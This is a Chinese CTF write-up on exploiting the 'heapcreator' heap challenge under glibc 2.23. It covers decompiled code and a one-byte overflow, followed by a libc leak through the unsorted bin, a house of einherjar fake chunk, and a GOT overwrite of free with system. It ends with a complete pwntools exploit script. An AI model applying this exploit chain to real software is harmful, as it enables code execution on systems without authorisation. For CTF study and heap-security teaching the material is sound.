# 这次刷题记录开始着重整理下在 Glibc-2.23 下的一些利用姿势
说明下 buuoj 的一些不好的地方,buuoj 基本不会给 libc, 而有些没有后门的程序,往往需要去泄露 libc 的基地址,但是最近的一些题目很孬去匹配到正确的版本,我也就不清楚是什么问题了。这里就不过多赘述了,而匹配 libc 就不作为本文的一个要点。我们只要在本地同通过测试就好了
# 浅析
题目环境以及保护
ubuntu16
1 2 3 4 5 6 7 8 9 10 $ checksec --file=heapcreator [*] '/home/giantbranch/Desktop/buuoj/heapcreater/heapcreator' Arch: amd64-64 -little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000 ) $ file heapcreator heapcreator: ELF 64 -bit LSB executable, x86-64 , version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64. so.2 , for GNU/Linux 2.6 .32 , BuildID[sha1]=5e69111 eca74cba2fb372dfcd3a59f93ca58f858, not stripped
程序呢并没有开启 full relro, 这里就首先反映到是不是可以修改函数的 got 表呢?根据题目描述,其实就已经断定了这是一个堆题。
接下来我们就主要看看其逻辑思路了
# main
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 int __cdecl main (int argc, const char **argv, const char **envp) { char buf[8 ]; unsigned __int64 v5; v5 = __readfsqword(0x28 u); setvbuf(_bss_start, 0LL , 2 , 0LL ); setvbuf(stdin , 0LL , 2 , 0LL ); while ( 1 ) { menu(); read(0 , buf, 4uLL ); switch ( atoi(buf) ) { case 1 : create_heap(); break ; case 2 : edit_heap(); break ; case 3 : show_heap(); break ; case 4 : delete_heap(); break ; case 5 : exit (0 ); default : puts ("Invalid Choice" ); break ; } } }
经典的分支结构
1 2 3 4 5 6 7 8 9 10 11 12 13 int menu () { puts ("--------------------------------" ); puts (" Heap Creator " ); puts ("--------------------------------" ); puts (" 1. Create a Heap " ); puts (" 2. Edit a Heap " ); puts (" 3. Show a Heap " ); puts (" 4. Delete a Heap " ); puts (" 5. Exit " ); puts ("--------------------------------" ); return printf ("Your choice :" ); }
# Creat
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 unsigned __int64 create_heap () { trr *v0; int i; size_t size; char buf[8 ]; unsigned __int64 v5; v5 = __readfsqword(0x28 u); for ( i = 0 ; i <= 9 ; ++i ) { if ( !*(&heaparray + i) ) { *(&heaparray + i) = (trr *)malloc (0x10 uLL); if ( !*(&heaparray + i) ) { puts ("Allocate Error" ); exit (1 ); } printf ("Size of Heap : " ); read(0 , buf, 8uLL ); size = atoi(buf); v0 = *(&heaparray + i); v0->ptr = (__int64)malloc (size); if ( !(*(&heaparray + i))->ptr ) { puts ("Allocate Error" ); exit (2 ); } (*(&heaparray + i))->size = size; printf ("Content of heap:" ); read_input((*(&heaparray + i))->ptr, size); puts ("SuccessFul" ); return __readfsqword(0x28 u) ^ v5; } } return __readfsqword(0x28 u) ^ v5; } ssize_t __fastcall read_input (void *a1, size_t a2) { ssize_t result; result = read(0 , a1, a2); if ( (int )result <= 0 ) { puts ("Error" ); _exit(-1 ); } return result; }
看 creat 的时候,首先可以看看是否存在溢出的可能。但是这道题这里没有什么溢出的可能。但是可以修改堆块的 prev_size
# Edit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 unsigned __int64 edit_heap () { int v1; char buf[8 ]; unsigned __int64 v3; v3 = __readfsqword(0x28 u); printf ("Index :" ); read(0 , buf, 4uLL ); v1 = atoi(buf); if ( v1 < 0 || v1 > 9 ) { puts ("Out of bound!" ); _exit(0 ); } if ( *(&heaparray + v1) ) { printf ("Content of heap : " ); read_input((void *)(*(&heaparray + v1))->ptr, (*(&heaparray + v1))->size + '\x01' ); puts ("Done !" ); } else { puts ("No such heap !" ); } return __readfsqword(0x28 u) ^ v3; }
但是当我们看到 edit 函数的时候,但到了这里有一个非常显眼的 1 字节溢出,所以后续考虑 OFF_BY_ONE 攻击手法与其他手法配合使用
# Show
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 unsigned __int64 show_heap () { int v1; char buf[8 ]; unsigned __int64 v3; v3 = __readfsqword(0x28 u); printf ("Index :" ); read(0 , buf, 4uLL ); v1 = atoi(buf); if ( v1 < 0 || v1 > 9 ) { puts ("Out of bound!" ); _exit(0 ); } if ( *(&heaparray + v1) ) { printf ("Size : %ld\nContent : %s\n" , (*(&heaparray + v1))->size, (const char *)(*(&heaparray + v1))->ptr); puts ("Done !" ); } else { puts ("No such heap !" ); } return __readfsqword(0x28 u) ^ v3;
show 这里也没有什么特殊的,
# Free
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 unsigned __int64 delete_heap () { int v1; char buf[8 ]; unsigned __int64 v3; v3 = __readfsqword(0x28 u); printf ("Index :" ); read(0 , buf, 4uLL ); v1 = atoi(buf); if ( v1 < 0 || v1 > 9 ) { puts ("Out of bound!" ); _exit(0 ); } if ( *(&heaparray + v1) ) { free ((void *)(*(&heaparray + v1))->ptr); free (*(&heaparray + v1)); *(&heaparray + v1) = 0LL ; puts ("Done !" ); } else { puts ("No such heap !" ); } return __readfsqword(0x28 u) ^ v3; }
free 模块这里,其实仔细看,会发现虽然 free 后将 bss 段上的指针清空了,但是结构体的 ptr 成员并没有清空,但是这了 uaf 并不是很容易利用。因为 bss 段上的指针被清空了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 struct trr { size_t size; void * ptr; } ss:00000000006020 A0 ; trr *heaparray .bss:00000000006020 A0 heaparray dq ? ; DATA XREF: create_heap+31 ↑r .bss:00000000006020 A0 ; create_heap+54 ↑w ... .bss:00000000006020 A8 db ? ; .bss:00000000006020 A9 db ? ; .bss:00000000006020 AA db ? ; .bss:00000000006020 AB db ? ; .bss:00000000006020 AC db ? ; .bss:00000000006020 AD db ? ; .bss:00000000006020 AE db ? ; .bss:00000000006020 AF db ? ; .bss:00000000006020B 0 db ? ; .bss:00000000006020B 1 db ? ; .bss:00000000006020B 2 db ? ; .bss:00000000006020B 3 db ? ; .bss:00000000006020B 4 db ? ;
题目大概就是这样,初步我们看到了一个 off_by_one 漏洞,以及一个不是很理想 UAF
# pwning
# 开始前的准备
首先这个题并没有后门,那么我们就要去泄露 libc 的基地址。然后再去考虑其他的
# leak the libc_base
这里我们关注到的是在申请到堆块之后,并没有对其进行初始化,只是对储存有 content 的堆块检查读入的数据是否为 0 字节,也就是说我们至少读入一个字节,不过因为使用的 read 函数,所以不会自动的添加换行符,但这无所谓,这里将一个比较常用的 unsortedbins 泄露基地址 main_arena. 当一个较大的 chunk 超过了 fastbins 的范围,就会被加入 unsortedbins 双链表中。其实,第一个堆块的 fd,bk 指针会指向 main_arena+x,。当我们再次申请到这个 chunk 时,其 fd,bk 指针不会被清空,只是会被我们输入的 content 覆盖。但是我们输入的 content 只检查了至少输入一个字节,而且允许我们输入’\x00’空字符。
那么这里就有了完整的泄露的思路
申请一个 0x80 的堆块(实际得到的 0x90), 然后将其释放。因为这个是一个嵌套的堆块,delete 的时候先释放 content, 再释放 struct
1 2 3 4 5 6 pwndbg> x/4 gx 0x2368000 0x2368000 : 0x0000000000000000 0x0000000000000021 0x2368010 : 0x0000000000000080 0x0000000002368030 pwndbg> x/4 gx 0x2368020 0x2368020 : 0x0000000000000000 0x0000000000000091 0x2368030 : 0x0000000000000000 0x0000000000000000
free 后
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 pwndbg> bins fastbins 0x20 : 0x2368000 ◂— 0x0 0x30 : 0x0 0x40 : 0x0 0x50 : 0x0 0x60 : 0x0 0x70 : 0x0 0x80 : 0x0 unsortedbin all: 0x2368020 —▸ 0x7fb1f48beb78 (main_arena+88 ) ◂— 0x2368020 smallbins empty largebins ########################################################### pwndbg> x/4gx 0x2368020 0x2368020 : 0x0000000000000000 0x0000000000000091 0x2368030 : 0x00007fb1f48beb78 0x00007fb1f48beb78
重新申请后,只要控制 conten 的长度不会将 bk 指针释放释放,同时字符串可以将 bk 链接起来,就可以再 show 的时候,将 bk 泄露出来
1 2 3 4 5 pwndbg> x/2 gx 0x2368010 0x2368010 : 0x0000000000000080 0x0000000002368030 pwndbg> x/4 gx 0x0000000002368030 -0x10 0x2368020 : 0x0000000000000000 0x0000000000000091 0x2368030 : 0x6161616161616161 0x00007fb1f48beb78
# 关键 point
这个题的关键难点在于适合实现 shell,劫持 malloc_hook 也好,覆盖 got 表也好都需要实现任意地址写,这里我们用到一个 unlink 手法 house_of_einherjar。这项技术使用的前提就是存在溢出,至少 1 字节,来修改一个 allocated_chunk 的 prev_size 和 prev_inuse。
house_of_einherjar======>
而此手法有几个点值得关注,1,我们可以认为的修改一个 allocted_chunk 的 prev_size, 以及 prev_inuse. 我们需要构造一个 fake_chunk (一个方面泄露栈地址,在栈上伪造一个 chunk,这个方法配合修改 eip 使用,但是因为栈的内容会发生变化,就要进一步思考控制具体到哪里。其二可以在 bss 段上伪造 chunk,达到修改全局变量的目的。其三可以控制到 got 表,修改 got 表。其四控制到 malloc_hook,free_hook,reallok_hook, 使用 onegadget)。 prev_size = victim_chunk_size - aimed_address。 同时我们还需要利用 victim 的前一个 allocted chunk A, 申请的大小不要使 16 位对齐,0x10*k+8, 这样就可以在申请到 victim B 后,prev_size 允许被 A 使用,同时可以利用 off_by_one 技术 NULL 溢出修改 B 的 prev_inuse(将其改为 0),这样 unlink 通过 chunk_addr_B - prev_size 定位到 fake_chunk, 因为 bss 以及栈地址通常会比 heap 地址大,所以 prev_size 传入的是一个负数,但是因为 prev_size 是无符号数,发生溢出,就这样虽然我们 free B,向前 unlink,结果其实把后面的 fakechunk 合并到一起,而且新的堆头地址是 fakechunk。注意构造 fake_chunk 时,要保证其可以 pass unlink 的检查
p->fd->bk=p,p->bk->fd=p,p->prev_size = p->bk->size,p->fd->prev_size = p->size, 最简单的就是将 fd、bk 指向自己。unlink 时,不会改变被合并的堆块的数据,只会更改新的堆头数据,此时 fakechunk 就是新的 topchunk
我们在对快中伪造一个个 fakechunk,然后修改 victim_chunk, 这里要注意的是,victim_chunk 必须与 topchunk 相邻,才可以实现 fake_top_chunk. 这里细解释下为什么这样做,这样做的目的是,在 unlink 前,我们已经申请出一些堆块,比如存在一个结构体堆块,而这个堆块的地址比 fakechunk 大,那么 unlink 后,这个堆块的数据不变,但是 topchunk 的位置在这个堆块之前,我们就可以再次利用到这个堆块,换言之,我们申请一个很大堆块,那么刚刚所说 结构体会被包含,当我们编辑这个大堆块的内容时,控制长度就可以将其覆盖,而我们有知道结构体里面还有一个 content 的指针,如果我们把这个覆盖这个指针,就实现了任意地址写。
这里要解决几个问题,每次创建的时候会申请出来两个堆块,一个大小 0x20, 一个为 size。为了溢出,我们就要考虑堆块的布局,这里我提供一种
1 2 3 4 5 6 7 8 9 add(0x80 ,"\x00" ) add(0x10 ,'aaaa' ) add(0x50 ,'aaaa' ) add(0x88 ,'ssss' ) free(3 ) free(2 ) free(1 ) free(0 )
0 用来 leak libc_base, 我们重复利用,1 我们构造了两个大小相等的堆块
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 0x21 :struct0---> struct1 --->content1 --->struct2 --->struct3 --->0 0x61 :conten2 --->0 unsortedbins: content0 --->content3 --->main_arena fastbins 0x20 : 0x2368000 —▸ 0x23680b0 —▸ 0x23680d0 —▸ 0x23680f0 —▸ 0x2368170 ◂— ...0x30 : 0x0 0x40 : 0x0 0x50 : 0x0 0x60 : 0x2368110 ◂— 0x0 0x70 : 0x0 0x80 : 0x0 unsortedbin all: 0x2368020 —▸ 0x7fb1f48beb78 (main_arena+88 ) ◂— 0x2368020
在重新申请堆块的过程中我们还要完成堆地址的泄露,这里其实有两个选择,一种是将 struct 申请作为 content,因为 free 的时候,struct.ptr 没有被清空,可以被泄露。另外一种就是不考虑时那种堆块,只要不是 fastbin 的最后一个,申请出来时,fd 指针没有被清空,此时我们输入的 content 只要时其最低字节就可以(heap 的地址最低三字节一定是 0x000,通过计算 可以得到对低字节)。content3 与 topchunk 相邻,释放后会与其合并,我们不需要考虑,因为 unsortedbin 里只有 0x90 的 content0,只要申请的堆块比他大,就会从 topchunk 获取,因为 0x21 大小的堆块在 fastbin 里面有好几个,就可以是的从 topchunk 连续获得两个较大的堆块,这样 edit 前面堆块就可以完成溢出,fake chunk 的构造需要一定的空间,所以我们使用了 0x50 的堆块。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 fakechunk:0x2368120 pwndbg> x/12 gx 0x0000000002368120 -0x10 0x2368110 : 0x0000000000000000 0x0000000000000061 0x2368120 : 0x0000000000000100 0x0000000000000110 0x2368130 : 0x0000000002368120 0x0000000002368120 0x2368140 : 0x0000000002368120 0x0000000002368120 0x2368150 : 0x0000000000000000 0x0000000000000000 0x2368160 : 0x0000000000000000 0x0000000000000000 fake_size = fake_prev_size = victimchunk-fakechunk pwndbg> x/18 gx 0x00000000023681a0 -0x10 0x2368190 : 0x0000000000000000 0x00000000000000a1 0x23681a0 : 0x0000000000000000 0x0000000000000000 0x23681b0 : 0x0000000000000000 0x0000000000000000 0x23681c0 : 0x0000000000000000 0x0000000000000000 0x23681d0 : 0x0000000000000000 0x0000000000000000 0x23681e0 : 0x0000000000000000 0x0000000000000000 0x23681f0 : 0x0000000000000000 0x0000000000000000 0x2368200 : 0x0000000000000000 0x0000000000000000 0x2368210 : 0x0000000000000000 0x0000000000000000 pwndbg> x/24 gx 0x00000000023681a0 -0x10 0x2368190 : 0x0000000000000000 0x00000000000000a1 0x23681a0 : 0x0000000000000000 0x0000000000000000 0x23681b0 : 0x0000000000000000 0x0000000000000000 0x23681c0 : 0x0000000000000000 0x0000000000000000 0x23681d0 : 0x0000000000000000 0x0000000000000000 0x23681e0 : 0x0000000000000000 0x0000000000000000 0x23681f0 : 0x0000000000000000 0x0000000000000000 0x2368200 : 0x0000000000000000 0x0000000000000000 0x2368210 : 0x0000000000000000 0x0000000000000000 0x2368220 : 0x0000000000000000 0x0000000000000000 0x2368230 : 0x0000000000000110 0x0000000000000130 0x2368240 : 0x0000000000006262 0x0000000000000000
这里就完成了布局,现在只要 free victim_chunk
1 2 3 4 5 6 pwndbg> x/8gx 0x0000000002368120-0x10 0x2368110: 0x0000000000000000 0x0000000000000061 0x2368120: 0x0000000000000100 0x0000000000020ee1 0x2368130: 0x0000000002368120 0x0000000002368120 0x2368140: 0x0000000002368120 0x0000000002368120 //此时fakechunk的size变了,其实这就是fakesize+victim_size+topchunk_size
这个时候我们在申请一个堆块,并填充一些东西(偏移量在调试中查看)
1 2 pad = b"/bin/sh\x00" + b'\x00' * (0x180 -0x130 -16 ) +p64(0x21 )+p64(50 ) +p64(free_got) add(0x200 ,pad)
新申请的堆块就是从 fakechunk 开始分配,后面自行调试偏移量
# EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 from pwn import *r=process('./heapcreator' ) elf =ELF("./heapcreator" ) free_got = elf.got['free' ] libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) Gptr = 0x006020A0 def ch (i ): r.sendlineafter("Your choice :" ,str (i)) def add (size,text ): ch(1 ) r.sendlineafter("Size of Heap : " ,str (size)) r.sendafter("Content of heap:" ,text) def edit (idx,text ): ch(2 ) r.sendlineafter("Index :" ,str (idx)) r.sendafter("Content of heap : " ,text) def show (idx ): ch(3 ) r.sendlineafter("Index :" ,str (idx)) def free (idx ): ch(4 ) r.sendlineafter("Index :" ,str (idx)) add(0x80 ,"\x00" ) add(0x10 ,'aaaa' ) add(0x50 ,'aaaa' ) add(0x88 ,'ssss' ) free(0 ) add(0x80 ,'aaaaaaaa' ) show(0 ) r.recvuntil(b"a" *8 ) main_arena = u64(r.recv(6 ).ljust(8 ,b'\x00' )) print (hex (main_arena))offset = 0x7f3d1c53cb78 -0x7f3d1c178000 malloc_hook=main_arena - 0x68 lib_base = main_arena-offset print (hex (lib_base))system_addr= libc.symbols['system' ]+lib_base print ("system : " ,hex (system_addr))free(3 ) free(2 ) free(1 ) free(0 ) add(0x98 ,"aa" ) add(0x10 ,'\xf0' ) show(1 ) r.recvuntil("Content : " ) heap_addr = u64(r.recvuntil('\n' ,drop=True ).ljust(8 ,b'\x00' ))-0xf0 print (hex (heap_addr))add(0x120 ,"bb" ) edit(0 ,b'\x00' * ( 0x90 )+p64(0x110 )+p64(0x30 )) add(0x50 ,'aaaa' ) edit(3 ,p64(0x100 )+p64(0x110 )+p64(heap_addr+0x120 )*4 ) add(0x60 ,'aaaa' ) free(2 ) pad = b"/bin/sh\x00" + b'\x00' * (0x180 -0x130 -16 ) +p64(0x21 )+p64(50 ) +p64(free_got) add(0x200 ,pad) edit(3 ,p64(system_addr)) free(2 ) r.interactive()